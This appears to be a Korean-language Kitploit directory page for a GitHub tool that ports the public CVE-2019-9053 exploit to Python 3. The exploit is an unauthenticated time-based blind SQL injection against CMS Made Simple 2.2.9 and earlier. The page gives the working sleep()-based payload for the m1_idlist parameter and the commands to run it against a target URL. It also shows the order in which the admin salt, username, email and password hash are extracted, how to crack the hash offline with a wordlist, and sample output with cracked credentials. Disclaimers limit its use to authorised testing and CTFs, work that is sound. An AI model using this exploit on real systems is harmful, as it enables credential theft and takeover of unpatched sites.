Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2019-9053-py3 — CMS Made Simple ≤ 2.2.9 (CVE-2019-9053)를 대상으로 하는 인증되지 않은 시간 기반 블라인드 SQL 인젝션 익스플로잇, Python 3로 포팅됨. | Kitploit
도구/GitHubGitHub/vedantrana73/cve-2019-9053-py3
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubvedantrana73/cve-2019-9053-py3

cve-2019-9053-py3

CMS Made Simple ≤ 2.2.9 (CVE-2019-9053)를 대상으로 하는 인증되지 않은 시간 기반 블라인드 SQL 인젝션 익스플로잇, Python 3로 포팅됨.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-9053 — CMS Made Simple SQLi 익스플로잇 (Python 3)

Python CVE Type Target License

면책 고지: 이 도구는 허가된 침투 테스트 및 교육 목적으로만 사용됩니다. 명시적인 서면 허가 없이 시스템에 대해 실행하는 것은 불법입니다. 작성자는 오용에 대한 책임을 지지 않습니다.


개요

이것은 CVE-2019-9053 — CMS Made Simple ≤ 2.2.9의 인증되지 않은 시간 기반 블라인드 SQL 인젝션 취약점에 대한 공개 익스플로잇을 Python 3로 포팅한 것입니다.

취약한 파라미터는 /moduleinterface.php 엔드포인트(News 모듈)의 m1_idlist입니다. 사용자 입력이 SQL 쿼리에 정제되지 않은 채 전달되어, 인증되지 않은 공격자가 관리자 salt, 사용자 이름, 이메일, 비밀번호 해시를 추출하고 선택적으로 오프라인에서 비밀번호를 크랙할 수 있습니다.

원본 익스플로잇: Daniele Scanu @ Certimeter Group.
수정 및 정리를 포함한 Python 3 포트.


작동 방식

익스플로잇은 타이밍 오라클을 사용합니다. SQL LIKE 조건에 SELECT sleep(T)를 주입하고 HTTP 응답 시간을 측정합니다. 서버가 T초 이상 지연되면 주입된 조건이 참이었음을 의미합니다. 이를 통해 HTTP 응답 본문에 데이터가 전혀 나타나지 않고도 한 문자씩 데이터를 추출할 수 있습니다.

root@kitploit:~
Payload structure:
  m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
            +where+password+like+0x{hex(known_prefix+guess)}25
            +and+user_id+like+0x31)+--+

추출 순서:

추출 후, 선택적 오프라인 사전 공격이 단어 목록에 대해 MD5(salt + word)를 계산합니다 — 추가 네트워크 요청이 필요하지 않습니다.


Python 3 변경 사항

원본 스크립트는 Python 2용으로 작성되었습니다. 다음과 같은 호환성 문제가 수정되었습니다:


요구 사항

root@kitploit:~
pip3 install requests termcolor
의존성목적
requests대상에 HTTP 요청
termcolor색상화된 터미널 출력

사용법

root@kitploit:~
# 기본 추출 (비밀번호 크랙 없음)
python3 exploit.py -u http://<target-ip>/simple

# 추출 + 오프라인 비밀번호 크랙
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt

옵션

플래그설명
-u, --urlCMS Made Simple 설치의 기본 URL

예제 출력

root@kitploit:~
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123

CVE 세부 정보


참고 자료

  • NVD — CVE-2019-9053
  • 원본 익스플로잇 — Exploit-DB #46635
  • CMS Made Simple

법적 고지

이 익스플로잇은 허가된 침투 테스트 및 CTF/교육 목적으로만 제공됩니다.
소유하지 않거나 명시적인 서면 허가 없이 시스템에 대해 무단 사용하는 것은 IT법(2000년, 인도) 및 전 세계의 이에 상응하는 법률에 따른 범죄입니다.

도구 다운로드
단계필드테이블비고
1Saltcms_siteprefs비밀번호 크랙에 필요
2Usernamecms_usersuser_id = 1 (관리자)
3Emailcms_usersuser_id = 1 (관리자)
4Passwordcms_usersMD5(salt + password)로 저장됨
#변경 사항이유
1print "..." → print("...")print는 Python 3에서 함수입니다
2hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode())hashlib.md5()는 Python 3에서 bytes를 입력으로 받습니다
3dict = open(wordlist) → with open(wordlist) as wordlist_filedict가 내장 함수를 가림; 컨텍스트 매니저로 변경
4print "\033c" → print("\033c", end="")터미널 초기화 시 이중 줄바꿈 방지
5print colored(...) → print(colored(...))colored()는 문자열을 반환하므로 print()로 감싸야 함
-w, --wordlist
오프라인 비밀번호 크랙용 단어 목록 경로
-c, --crack비밀번호 크랙 모드 활성화
필드값
CVE IDCVE-2019-9053
CVSS Score7.5 (High)
유형인증되지 않은 시간 기반 블라인드 SQL 인젝션
영향을 받는 버전CMS Made Simple ≤ 2.2.9
파라미터News 모듈의 m1_idlist
인증 필요없음
패치CMS Made Simple 2.2.10+